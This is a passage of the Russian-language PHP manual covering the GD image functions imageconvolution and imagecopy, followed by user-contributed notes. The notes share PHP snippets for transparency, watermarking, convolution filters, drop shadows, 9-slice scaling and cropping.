$bg_color = imagecolorat($im,1,1);
$px     = (imagesx($im) - 3 * strlen($string)) / 2;
imagecolortransparent($im, $bg_color);
imagestring($im, 3, $px, 5, $string, $orange);
imagepng($im);
imagedestroy($im);

?>

Use $bg_color = imagecolorat($im,1,1); for instance, if you made the transparent color in photoshop by clearing out all the color leaving you with the checkered background showing you it's empty.
cinymini 14-Dec-2006 11:17
When you use palette images (created with imagecreate()), the first color allocated is the background color. This color cannot be used for transparency. So if you want to make the background transparent, first allocate a dummy background color, then allocate the real background color and declare this is as transparent.
glenn at bengeweb dot co dot nz 17-Nov-2006 08:03
in reference to webmaster at webnetwizard dotco dotuk who had a rather complicated method of determining if a GIF had any transparency set ...

imagecolortransparent will return -1 if no transparency is found.

eg:

$transColorIndexMain = imageColorTransparent($mainImgObj);
if ($transColorIndexMain >= 0 ) {
       # GIF has transparency ... ;
}

Current PHP Version: 4.4.4
[GD Version] => bundled (2.0.28 compatible)
ingrid 09-Jun-2005 09:37
This script should take an animated GIF whit a white background transparancy, put some white=transparant text on it, and can be used in any page using the filename and the normal image tags.

Everything works well, exept the animation. The GIF animation stands still. Don't know how to keep the animation  animated. Is it possible in PHP?

<?php

$TextFile = "teller.txt";
$Count = trim(file_get_contents($TextFile));
$FP = fopen($TextFile, "r");
$Count=fgets($FP, 4096);
fclose ($FP);
settype($Count, "integer");
$Count++;
if ($FP = fopen ($TextFile, "w")){
fwrite ($FP, $Count);
fclose ($FP);
}

$image = "blad.gif";
$im    = imagecreatefromgif($image);
$white = imageColorAllocate ($im, 255, 255, 255);
$trans = imagecolortransparent($im,$white);
$hit = "$Count";
$ip = $_SERVER["REMOTE_ADDR"];

ImageString($im, 2, 30, 60,  " je bent bezoeker ", $white);
ImageString($im, 3, 20, 80, " $ip.$hit", $trans);

header("Content-Type: image/gif");
Imagegif($im,'',100);
ImageDestroy ($im);

?>
talkback at codesponge dot com 16-Mar-2005 03:41
Only one color may be transparent in one image.  The last call to imagecolortransparent will be the color that is set to transparent.

I am processing button images that have a slightly different fill color than the background color outside the border of the button. I was hoping that I could just make both of those colors transparent and solve the problem.

Hope this tidbit of info will save you some time.
webmaster at webnetwizard dotco dotuk 11-Jan-2005 06:09
After much devious mindbending, I have found a way to test any GIF for presence of background transparency. This ability is essential for my application which uploads any of GIF, JPEG or PNG and simultaneously creates a thumbnail of identical image type and identical filename (full size and thumbnail versions being stored in different folders).
After uploading and moving the image in the usual way, a switch($image_type) statement ensures that the optimum code is used to generate the thumbnail; regardless of image type.
The problem with the GIF type is that those with transparent backgrounds need to be treated differently to those without. When I don't detect GIF transparency, I either end up with all transparent GIF's having black backgrounds, or all GIF's get converted to transparent background - even if they weren't transparent in the original.
But how to detect transparency in the original? It finally occurred to me that I could test for transparency programmatically by overlaying a copy of the original image over an all-black image, record the color value at particular pixel locations and then repeat the process by overlaying a copy of the original image over an all-white image, recording the color values at identical pixel locations and comparing these with the first set of values.
If the two sets of values correlate exactly, and if sensible sampling points are used, the image can be treated as non-transparent. If the two sets of values show differences, the image should be treated as having a transparent background.
emilus at galeria-m dot art dot pl 30-Sep-2004 02:02
To resize or copy image (gif [with gd>=2.0.28] or png) with transparency.
-Take current transparency color
-create a new image with palette like old one and fill new image with transparent color
-set transparent color
-copy resized image

$colorTransparent = imagecolortransparent($im);
$im2 = imagecreate($new_w,$new_h);
imagepalettecopy($im2,$im);
imagefill($im2,0,0,$colorTransparent);
imagecolortransparent($im2, $colorTransparent);
imagecopyresized($im2,$im,0,0,0,0,$new_w,$new_h,$imsx,$imsy);
php_comment et 5mm de 27-Sep-2004 10:02
In fact this function can be used for two purposes:

A.) to work with transparency while dealing with images in php (see watermark example)

B.) to create a partially transparent picture

For A.) one can work with truecolor images with some regulations, but B.) can only be used with palette-based images (= indexed = created with imagecreate not imagecreatetruecolor) and formats that support transparency (png, gif).

For instance if you want to cut out a color out of a give picture that is in truecolor, use the following method to first convert it to palette-based image, assign the transparency and give it to the browser as png:

<?
$img = imagecreatefromjpeg('test.jpg');
imagetruecolortopalette($img, false, 256); // convert

$white = imagecolorresolve($img, 255, 255, 255); // resolve given palette entry
imagecolortransparent($img, $white);

header("Content-type: image/png");
imagepng($img);
?>
php at kybert dot com 14-Nov-2003 05:30
i had problems with the example by sandhawk at spies dot com because my png overlay, and the jpeg canvas were using different color depths, so, this function corrects this:

[code]
function WatermarkImage($CanvasImage, $WatermarkImage /* MUST BE PHG */, $Opacity=10, $Quality=75)
{
    // create true color canvas image:
    $canvas_src = imagecreatefromjpeg($CanvasImage);
    $canvas_w = ImageSX($canvas_src);
    $canvas_h = ImageSY($canvas_src);
    $canvas_img = imagecreatetruecolor($canvas_w, $canvas_h);
    imagecopy($canvas_img, $canvas_src, 0,0,0,0, $canvas_w, $canvas_h);
    imagedestroy($canvas_src);    // no longer needed

    // create true color overlay image:
    $overlay_src = imagecreatefrompng($WatermarkImage);
    $overlay_w = ImageSX($overlay_src);
    $overlay_h = ImageSY($overlay_src);
    $overlay_img = imagecreatetruecolor($overlay_w, $overlay_h);
    imagecopy($overlay_img, $overlay_src, 0,0,0,0, $overlay_w, $overlay_h);
    imagedestroy($overlay_src);    // no longer needed

    // setup transparent color (pick one):
    $black   = imagecolorallocate($overlay_img, 0x00, 0x00, 0x00);
    $white   = imagecolorallocate($overlay_img, 0xFF, 0xFF, 0xFF);
    $magenta = imagecolorallocate($overlay_img, 0xFF, 0x00, 0xFF);
    // and use it here:
    imagecolortransparent($overlay_img, $white);

    // copy and merge the overlay image and the canvas image:
    imagecopymerge($canvas_img, $overlay_img, 0,0,0,0, $overlay_w, $overlay_h, $Opacity);

    // output:
    header("Content-type: image/jpeg");
    imagejpeg($canvas_img, '', $Quality);

    imagedestroy($overlay_img);
    imagedestroy($canvas_img);
}

// call function with opcity set to 50% and 95% quality
WatermarkImage("canvas.jpg", "overlay.png", 50, 95);

[/code]
creator79>>web>>de 08-Oct-2003 06:44
Hi!
I'm using GDLib 1.6.3 so far I know.
You can have transparency on any defined color on any image type when using the imagecolorclosest($im, $R, $G, $B) function instead of imagecolorallocate() or imagecolorexact().
calar at gamigo dot de 01-Aug-2003 06:53
ok some works...

i had a test-sytem with GDLib, phpinfo shows me this version:
"GD Version  2.0 or higher" so far no porblems with: imageColorTransparent

Then we had to copy ouer codes to another sever on this server phpinfo shots me version:
"GD Version  bundled (2.0.12 compatible)"

The jpg was wrong and nothing was transparent.
The point is, you have to use: imagecopymerge

Don't if its true on any system just work on
SUSE 8.2
PHP 4.3.2
Jonatan 30-Dec-2002 10:35
I have found that ImageColorTransparent() works on true color images if and only if the transparent color is black.
(PHP 4.2.3/GD 2.0)


Наложение искривляющей матрицы 3х3, используя коэффициент и смещение

  • « imagecolortransparent
  • imagecopy »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Наложение искривляющей матрицы 3х3, используя коэффициент и смещение

imageconvolution

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

imageconvolution — Наложение искривляющей матрицы 3х3, используя коэффициент и смещение

Описание

imageconvolution(
GdImage $image,
array $matrix,
float $divisor,
float $offset
): bool

Накладывает искривляющую матрицу на изображение, используя заданный коэффициент и смещение.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

matrix

Матрица 3x3: массив из трёх массивов по 3 значения с плавающей точкой в каждом.

divisor

Делитель результата искривления, используется для нормализации.

offset

Смещение цвета.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Создание рельефа на логотипе PHP.net

<?php
$image = imagecreatefromgif('http://www.php.net/images/php.gif');

$emboss = array(array(2, 0, 0), array(0, -1, 0), array(0, 0, -1));
imageconvolution($image, $emboss, 1, 127);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

Результат выполнения данного примера:

Вывод примера: Создание рельефа на логотипе PHP.net

Пример #2 Размытие по Гауссу

<?php
$image = imagecreatetruecolor(180,40);

// Пишет текст и применяет размытие к изображению
imagestring($image, 5, 10, 8, 'Gaussian Blur Text', 0x00ff00);
$gaussian = array(array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0), array(1.0, 2.0, 1.0));
imageconvolution($image, $gaussian, 16, 0);

// Переписывает текст для сравнения
imagestring($image, 5, 10, 18, 'Gaussian Blur Text', 0x00ff00);

header('Content-Type: image/png');
imagepng($image, null, 9);
?>

Результат выполнения данного примера:

Вывод примера: Размытие по Гауссу

Смотрите также

  • imagefilter() - Применяет фильтр к изображению

User Contributed Notes

magilvia 17-May-2011 01:36
Here's a good sharpen setting for thumbnail creation:

<?php
            $sharpenMatrix = array
            (
                array(-1.2, -1, -1.2),
                array(-1, 20, -1),
                array(-1.2, -1, -1.2)
            );

            // calculate the sharpen divisor
            $divisor = array_sum(array_map('array_sum', $sharpenMatrix));

            $offset = 0;

            // apply the matrix
            imageconvolution($img, $sharpenMatrix, $divisor, $offset);
?>
phunction.sf.net 15-May-2010 09:20
You don't need any custom function to calculate the $divisor of the $matrix, using array_map() and array_sum() does the trick:

<?php

$matrix = array
(
    array(-1, -1, -1),
    array(-1, 16, -1),
    array(-1, -1, -1),
);

$divisor = array_sum(array_map('array_sum', $matrix)); // 8

?>
fabien dot snauwaert at gmail dot com 07-Mar-2010 10:44
Normalization is necessary to keep the image balanced (else any filter may quickly turn the image almost completely black or white).

Here is a short, easy-to-use, class to handle normalization automatically and make for easier input of the 3x3 matrix:

The code respects the "array of three arrays" syntax for use with the imageconvolution() function and automatically calculates the necesarry divisor for normalization.

<?php

class ConvolutionFilter {
    public $matrix;
    public $div;

    public function computeDiv() {
        $this->div = array_sum ($this->matrix[0]) + array_sum ($this->matrix[1]) + array_sum ($this->matrix[2]);
    }

    function __construct() {
        $matrix = func_get_args();
        $this->matrix = array(    array($matrix[0], $matrix[1], $matrix[2]),
                                array($matrix[3], $matrix[4], $matrix[5]),
                                array($matrix[6], $matrix[7], $matrix[8])
                                );
        $this->computeDiv();
    }
}

?>

Example usage:

<?php

$gaussianFilter =    new ConvolutionFilter(    1.0,    2.0,    1.0,
                                             2.0,    3.0,    2.0,
                                             1.0,    2.0,    1.0        );
imageconvolution($image, $gaussianFilter->matrix, $gaussianFilter->div, 0);

?>

Some common filters:

<?php

$identityFilter =    new ConvolutionFilter(    0.0,    0.0,    0.0,
                                             0.0,    1.0,    0.0,
                                             0.0,    0.0,    0.0        );
$sharpenFilter =    new ConvolutionFilter(    0.0,    -1.0,    0.0,
                                             -1.0,    5.0,    -1.0,
                                             0.0,    -1.0,    0.0        );
$edgeFilter =        new ConvolutionFilter(    0.0,    1.0,    0.0,
                                             1.0,    -4.0,    1.0,
                                             0.0,    1.0,    0.0        );
$findEdgesFilter =    new ConvolutionFilter(    -1.0,    -1.0,    -1.0,
                                             -2.0,    8.0,    -1.0,
                                             -1.0,    -1.0,    -1.0        );

?>

Remember you can use imagefilter() for such basic needs but the above class will make it easier for you when you want to create your own filters.
Jase 13-Sep-2007 03:53
The comment below is an extremely good workaround

however, php did throw lots of warnings at me when i had error reporting set to E_ALL

this can be avoided with one line of code and no impact (as i can see) to the rest of the function

<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    #FIX HERE
    #$pxl array was the problem so simply set it with very low values
    $pxl = array(1,1);
    #this little fix worked for me as the undefined array threw out errors

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
mgcclx at gmail dot com 28-Feb-2007 07:55
imageconvolution() does not appear in PHP with non-bundled GD libraries. It is a rare situation, but it still happens. That's why I wrote a replication of imageconvolution() in PHP. Compare to the post below, this one makes the use of offset and 30% faster.
Because it's written in PHP, it is 50 times slower than the bundled version.
Actually, this is a replication of gdimageconvolutaion() of GD library, it does not support data validating feature imageconvolution() have. But I guess people who uses this function knows their stuff.

THE SCRIPT:
<?php
//include this file whenever you have to use imageconvolution...
//you can use in your project, but keep the comment below :)
//great for any image manipulation library
//Made by Chao Xu(Mgccl) 2/28/07
//www.webdevlogs.com
//V 1.0
if(!function_exists('imageconvolution')){
function imageconvolution($src, $filter, $filter_div, $offset){
    if ($src==NULL) {
        return 0;
    }

    $sx = imagesx($src);
    $sy = imagesy($src);
    $srcback = ImageCreateTrueColor ($sx, $sy);
    ImageCopy($srcback, $src,0,0,0,0,$sx,$sy);

    if($srcback==NULL){
        return 0;
    }

    for ($y=0; $y<$sy; ++$y){
        for($x=0; $x<$sx; ++$x){
            $new_r = $new_g = $new_b = 0;
            $alpha = imagecolorat($srcback, $pxl[0], $pxl[1]);
            $new_a = $alpha >> 24;

            for ($j=0; $j<3; ++$j) {
                $yv = min(max($y - 1 + $j, 0), $sy - 1);
                for ($i=0; $i<3; ++$i) {
                        $pxl = array(min(max($x - 1 + $i, 0), $sx - 1), $yv);
                    $rgb = imagecolorat($srcback, $pxl[0], $pxl[1]);
                    $new_r += (($rgb >> 16) & 0xFF) * $filter[$j][$i];
                    $new_g += (($rgb >> 8) & 0xFF) * $filter[$j][$i];
                    $new_b += ($rgb & 0xFF) * $filter[$j][$i];
                }
            }

            $new_r = ($new_r/$filter_div)+$offset;
            $new_g = ($new_g/$filter_div)+$offset;
            $new_b = ($new_b/$filter_div)+$offset;

            $new_r = ($new_r > 255)? 255 : (($new_r < 0)? 0:$new_r);
            $new_g = ($new_g > 255)? 255 : (($new_g < 0)? 0:$new_g);
            $new_b = ($new_b > 255)? 255 : (($new_b < 0)? 0:$new_b);

            $new_pxl = ImageColorAllocateAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            if ($new_pxl == -1) {
                $new_pxl = ImageColorClosestAlpha($src, (int)$new_r, (int)$new_g, (int)$new_b, $new_a);
            }
            if (($y >= 0) && ($y < $sy)) {
                imagesetpixel($src, $x, $y, $new_pxl);
            }
        }
    }
    imagedestroy($srcback);
    return 1;
}
}
?>
interghost at crovortex dot com 31-Mar-2006 11:26
an implementation of this function for PHP versions <5.1
<?php
if(!function_exists("imageconvolution"))
{
 function imageconvolution(&$img,$mat,$div,$off)
 {
   if(!imageistruecolor($img) || !is_array($mat) || count($mat)!=3 || count($mat[0])!=3 || count($mat[1])!=3 || count($mat[2])!=3) return FALSE;
   unset($bojainfo);
   for($nx=0;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=0;$ny<imagesy($img)-1;$ny++)
     {
        $rgb=imagecolorat($img,$nx,$ny);
        $bojainfo[$nx][$ny][r]=($rgb>>16)&0xFF;
        $bojainfo[$nx][$ny][g]=($rgb>>8)&0xFF;
        $bojainfo[$nx][$ny][b]=$rgb&0xFF;
     }
   }
   for($nx=1;$nx<imagesx($img)-1;$nx++)
   {
     for($ny=1;$ny<imagesy($img)-1;$ny++)
     {
        $nr=$mat[0][0]*$bojainfo[$nx-1][$ny-1][r] + $mat[0][1]*$bojainfo[$nx][$ny-1][r] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][r] + $mat[1][0]*$bojainfo[$nx-1][$ny][r] + $mat[1][1]*$bojainfo[$nx][$ny][r] + $mat[1][2]*$bojainfo[$nx+1][$ny][r] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][r] + $mat[2][1]*$bojainfo[$nx][$ny+1][r] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][r];
        $nr=intval(round($nr/$div));
        if($nr<0) $nr=0;
        elseif($nr>255) $nr=255;
        $ng=$mat[0][0]*$bojainfo[$nx-1][$ny-1][g]  + $mat[0][1]*$bojainfo[$nx][$ny-1][g] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][g] + $mat[1][0]*$bojainfo[$nx-1][$ny][g] + $mat[1][1]*$bojainfo[$nx][$ny][g] + $mat[1][2]*$bojainfo[$nx+1][$ny][g] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][g] + $mat[2][1]*$bojainfo[$nx][$ny+1][g] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][g];
        $ng=intval(round($ng/$div));
        if($ng<0) $ng=0;
        elseif($ng>255) $ng=255;
        $nb=$mat[0][0]*$bojainfo[$nx-1][$ny-1][b] + $mat[0][1]*$bojainfo[$nx][$ny-1][b] + $mat[0][2]*$bojainfo[$nx+1][$ny-1][b] + $mat[1][0]*$bojainfo[$nx-1][$ny][b] + $mat[1][1]*$bojainfo[$nx][$ny][b] + $mat[1][2]*$bojainfo[$nx+1][$ny][b] + $mat[2][0]*$bojainfo[$nx-1][$ny+1][b] + $mat[2][1]*$bojainfo[$nx][$ny+1][b] + $mat[2][2]*$bojainfo[$nx+1][$ny+1][b];
        $nb=intval(round($nb/$div));
        if($nb<0) $nb=0;
        elseif($nb>255) $nb=255;
        $nrgb=($nr<<16)+($ng<<8)+$nb;
        if(!imagesetpixel($img,$nx,$ny,$nrgb)) return FALSE;
     }
   }
   return TRUE;
  }
}
?>

it's a bit slowish so I wouldn't recommend big images, also offset is not implemented (don't know what it's suppose to do)
mlconnor at yahoo dot com 21-Mar-2006 09:00
I've seen many people come up with ways to do a drop shadow behind a rectangle such as a picture.  I haven't found one yet that was fast, PHP 4 complaint, and nice looking.  Here is one I came up with last night.  It takes an image, fills it with the background, and creates a blurred drop shadow at the specified coords using the colors and the distance offset specified.  It looks great!!!

  function blurRect(&$image, $distance, $rectX1, $rectY1, $rectX2, $rectY2, $shadowR, $shadowG, $shadowB, $backR, $backG, $backB) {

    $potentialOverlap = ($distance * 2) * ($distance * 2);

    $backgroundColor = imagecolorallocate($image, $backR, $backG, $backB);
    $shadowColor = imagecolorallocate($image, $shadowR, $shadowG, $shadowB);

    $imageWidth = imagesx($image);
    $imageHeight = imagesy($image);

    imageFilledRectangle($image, 0, 0, $imageWidth - 1, $imageHeight - 1, $backgroundColor);
    imageFilledRectangle($image, $rectX1, $rectY1, $rectX2, $rectY2, $shadowColor);

    for ( $pointX = $rectX1 - $distance; $pointX < $imageWidth; $pointX++ ) {
      for ( $pointY = $rectY1 - $distance; $pointY < $imageHeight; $pointY++ ) {

        if ( $pointX > $rectX1 + $distance &&
             $pointX < $rectX2 - $distance &&
             $pointY > $rectY1 + $distance &&
             $pointY < $rectY2 - $distance ) {
          $pointY = $rectY2 - $distance;
        }

        $boxX1 = $pointX - $distance;
        $boxY1 = $pointY - $distance;
        $boxX2 = $pointX + $distance;
        $boxY2 = $pointY + $distance;

        $xOverlap = max(0, min($boxX2, $rectX2) - max($boxX1, $rectX1));
        $yOverlap = max(0, min($boxY2, $rectY2) - max($boxY1, $rectY1));

        $totalOverlap = $xOverlap * $yOverlap;
        $shadowPcnt = $totalOverlap / $potentialOverlap;
        $backPcnt = 1.0 - $shadowPcnt;

        $newR = $shadowR * $shadowPcnt + $backR * $backPcnt;
        $newG = $shadowG * $shadowPcnt + $backG * $backPcnt;
        $newB = $shadowB * $shadowPcnt + $backB * $backPcnt;

        $newcol = imagecolorallocate($image, $newR, $newG, $newB);
        imagesetpixel($image, $pointX, $pointY, $newcol);
      }
    }
  }
dyer85 at gmail dot com 07-Jan-2006 02:24
Took me a while, but thanks to a couple of the user notes on the array_values PHP documentation page, I was able to come up with a way to dynamically compute the divisor.

I'm using PHP 5.1.0b2 on Win32 with the bundled GD library. When I try and use the imageconvolution function, whether normally, or via the functions below, the resulting image (I've only tried JPEGs and GIFs), always comes out far too bright, even when the divisor makes matrix sum equal to 1. The only thing that would reduce the brightness was to make the offset argument ridiculously large. So, I'm not sure if this effects anyone else.

Here are the functions with an example:

<?php
$im = imagecreatefromjpeg('path/to/pic.jpg');
$matrix = array(   array(5,5,5),
                   array(5,15,5),
                   array(5,5,5) );
makeFilter($im, $matrix);

header ( 'Content-Type: image/jpeg' );
imagejpeg($im);
imagedestroy($im);

/**
 * functions
 */
// This flattens the 3X3 array matrix, so we can get the sum of all the values
function array_flatten($array) {
    (array)$tempArray = array();

    foreach ( $array as $value ) {
        if ( is_array($value) ) {
            $tempArray = array_merge($tempArray, array_flatten($value));
        } else {
            $tempArray[] = $value;
        }
    }

    return $tempArray;
}

// Creates the divisor value dynamically, and passes offset
function makeFilter($resource, $matrix, $offset=1.0) {
    global $$resource;
    (float)$divisor = array_sum(array_flatten($matrix));
    return imageconvolution($resource, $matrix, $divisor, $offset) ? true : false;
}
?>
26-Oct-2005 05:32
The example below didn't provide a 3x3 matrix. Correctly, it's a multidimensional array.

<?php
    $matrix = array(    array( -1, -1, -1 ),
                        array( -1, 16, -1 ),
                        array( -1, -1, -1 ) );
?>
timeshifting at gmail dot com 24-Aug-2005 03:40
Matrices can be used for sharpening, blurring, edge detection, etc, ala Photoshop.

A sharpening example:

<?php

$sharpenMatrix = array(-1,-1,-1,-1,16,-1,-1,-1,-1);
$divisor = 8;
$offset = 0;

imageconvolution($myImage, $sharpenMatrix, $divisor, $offset);

?>

Below is some information on building different kinds of matrices. (If you have photoshop (or PSP, GIMP) you can test out your matrices before applying them in PHP)

http://loriweb.pair.com/8udf-basics.html (covers blurs)
http://loriweb.pair.com/8udf-sharpen.html
http://loriweb.pair.com/8udf-edges.html
http://loriweb.pair.com/8udf-emboss.html


Копирование части изображения

  • « imageconvolution
  • imagecopymerge »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Копирование части изображения

imagecopy

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecopy — Копирование части изображения

Описание

imagecopy(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $src_width,
int $src_height
): bool

Копирует часть src_image в dst_image, начиная с координат x, y src_x, src_y с шириной src_width и высотой src_h. Скопированная часть помещается на координаты dst_x и dst_y.

Список параметров

dst_image

Ресурс целевого изображения.

src_image

Ресурс исходного изображения.

dst_x

x-координата результирующего изображения.

dst_y

y-координата результирующего изображения.

src_x

x-координата исходного изображения.

src_y

y-координата исходного изображения.

src_width

Ширина исходного изображения.

src_height

Высота исходного изображения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dst_image и src_image теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Обрезка логотипа PHP.net

<?php
// Создание изображений
$src = imagecreatefromgif('php.gif');
$dest = imagecreatetruecolor(80, 40);

// Копирование
imagecopy($dest, $src, 0, 0, 20, 13, 80, 40);

// Вывод и освобождение памяти
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Обрезка логотипа PHP.net

Смотрите также

  • imagecrop() - Обрезать изображение до заданного прямоугольника

User Contributed Notes

petr dot biza at gmail dot com 11-May-2010 07:23
There is function to crop blank edges from image.

<?php
/**
* $image image cursor (from imagecreatetruecolor)
* $backgound image curosr (from imagecolorallocate)
* $paddng int
*/
function imageCrop($image, $background = false, $padding = 0) {
    if($background)
      $background = imagecolorallocate($image, 255, 255, 255);

    $top = imageSY($image);
    $left = imageSX($image);
    $bottom = 0;
    $right = 0;

    for ($x = 0 ; $x < imagesx($image) ; $x++) {
        for ($y = 0 ; $y < imagesy($image) ; $y++) {

          // if there match
            if(imagecolorat($image, $x, $y) != $background) {

              if($x < $left)
                $left = $x;
              if($x > $right)
                $right = $x;
              if($y > $bottom)
                $bottom = $y;
              if($y < $top)
                $top = $y;
        }
        }
    }

    $right++;
    $bottom++;

    // create new image with padding
    $img = imagecreatetruecolor($right-$left+$padding*2,$bottom-$top+$padding*2);
    // fill the background
    imagefill($img, 0, 0, $background);
    // copy
    imagecopy($img, $image, $padding, $padding, $left, $top, $right-$left, $bottom-$top);

    // destroy old image cursor
    imagedestroy($image);
    return $img;
}
?>
latin4567 at gmail dot com 22-Sep-2009 07:29
I have created a PHP function which performs the standard 9-Slice scaling technique. This is extremely useful for thumbnail shadow scaling, and anything involving skinning. Feel free to pick apart and use

Note: instead of specifying margins, my 9-slicing routine uses a centered-rectangle concept... as input you provide the image (as a resource), the x and y coords of the rectangle, and the width and height of the rectangle.

The $src_im parameter should be an image resource. This script was written for 9-slicing translucent PNG images, and has only been tested with translucent PNG images, however it should work with other image types (possibly requiring some modification)

so if your source image was 400 x 400, you needed a 24 pixel margin on all sides, and your target size was 800 x 500, you would use the following parameters:

<?php
$im = NineSlice($im, 24, 24, 352, 352, 800, 500)
?>

<?php
/* 9-Slice Image Slicing Script by Sam Kelly (DuroSoft: http://www.durosoft.com) */
function NineSlice($src_im, $rect_x, $rect_y, $rect_w, $rect_h, $target_w, $target_h)
{
    $src_w = imagesx($src_im);
    $src_h = imagesy($src_im);

    $im = CreateBlankPNG($target_w, $target_h);
    imagealphablending($im,true);

    $left_w = $rect_x;
    $right_w = $src_w - ($rect_x + $rect_w);

    $left_src_y = ceil($rect_h / 2) - 1 + $rect_y;
    $right_src_y = $left_src_y;

    $left_src_x = 0;
    $right_src_x = $left_w + $rect_w;

    $top_src_x = ceil($rect_w / 2) - 1 + $rect_x;
    $bottom_src_x = $top_src_x;
    $bottom_src_y = $rect_y + $rect_h;
    $bottom_h = $src_h - $bottom_src_y;

    $left_tile = CreateBlankPNG($left_w, 1);
    imagecopy($left_tile, $src_im, 0, 0, 0, $left_src_y, $left_w, 1);

    $right_tile = CreateBlankPNG($right_w, 1);
    imagecopy($right_tile, $src_im, 0, 0, $right_src_x, $right_src_y, $right_w, 1);

    $top_tile = CreateBlankPNG(1, $rect_y);
    imagecopy($top_tile, $src_im, 0, 0, $top_src_x, 0, 1, $rect_y);

    $bottom_tile = CreateBlankPNG(1, $bottom_h);
    imagecopy($bottom_tile, $src_im, 0, 0, $bottom_src_x, $bottom_src_y, 1, $bottom_h);

    $inner_tile = CreateBlankPNG(4, 4);
    imagecopy($inner_tile, $src_im, 0, 0, ceil($src_w / 2) - 1, ceil($src_h / 2) - 1, 4, 4);

    imagecopy($im, $src_im, 0, 0, 0, 0, $left_w, $rect_y);
    imagecopy($im, $src_im, 0, $target_h - $bottom_h, 0, $bottom_src_y, $rect_x, $bottom_h);
    imagecopy($im, $src_im, $target_w - $right_w, 0, $right_src_x, 0, $right_w, $rect_y);
    imagecopy($im, $src_im, $target_w - $right_w, $target_h - $bottom_h, $src_w - $right_w, $bottom_src_y, $right_w, $bottom_h);

    imagesettile($im, $top_tile);
    imagefilledrectangle($im, $left_w, 0, $target_w - $right_w - 1, $rect_y, IMG_COLOR_TILED);

    imagesettile($im, $left_tile);
    imagefilledrectangle($im, 0, $rect_y, $left_w, $target_h - $bottom_h - 1, IMG_COLOR_TILED);

    $right_side = CreateBlankPNG($right_w, $target_h - $rect_y - $bottom_h);
    imagesettile($right_side, $right_tile);
    imagefilledrectangle($right_side, 0, 0, $right_w, $target_h - $rect_y - $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $right_side, $target_w - $right_w, $rect_y, 0, 0, $right_w, $target_h - $rect_y - $bottom_h);

    $bottom_side = CreateBlankPNG($target_w - $right_w - $left_w, $bottom_h);
    imagesettile($bottom_side, $bottom_tile);
    imagefilledrectangle($bottom_side, 0, 0, $target_w - $right_w - $left_w, $bottom_h, IMG_COLOR_TILED);
    imagecopy($im, $bottom_side, $right_w, $target_h - $bottom_h, 0, 0, $target_w - $right_w - $left_w, $bottom_h);

    imagedestroy($left_tile);
    imagedestroy($right_tile);
    imagedestroy($top_tile);
    imagedestroy($bottom_tile);
    imagedestroy($inner_tile);
    imagedestroy($right_side);
    imagedestroy($bottom_side);

    return $im;
}

function CreateBlankPNG($w, $h)
{
    $im = imagecreatetruecolor($w, $h);
    imagesavealpha($im, true);
    $transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
    imagefill($im, 0, 0, $transparent);
    return $im;
}
 ?>
Chad Allard 06-Jul-2009 12:20
Regarding the image_flip function discussed in the notes here, don't forget to support transparency.

AFTER:

$imgdest = imagecreatetruecolor($width, $height);

ADD:

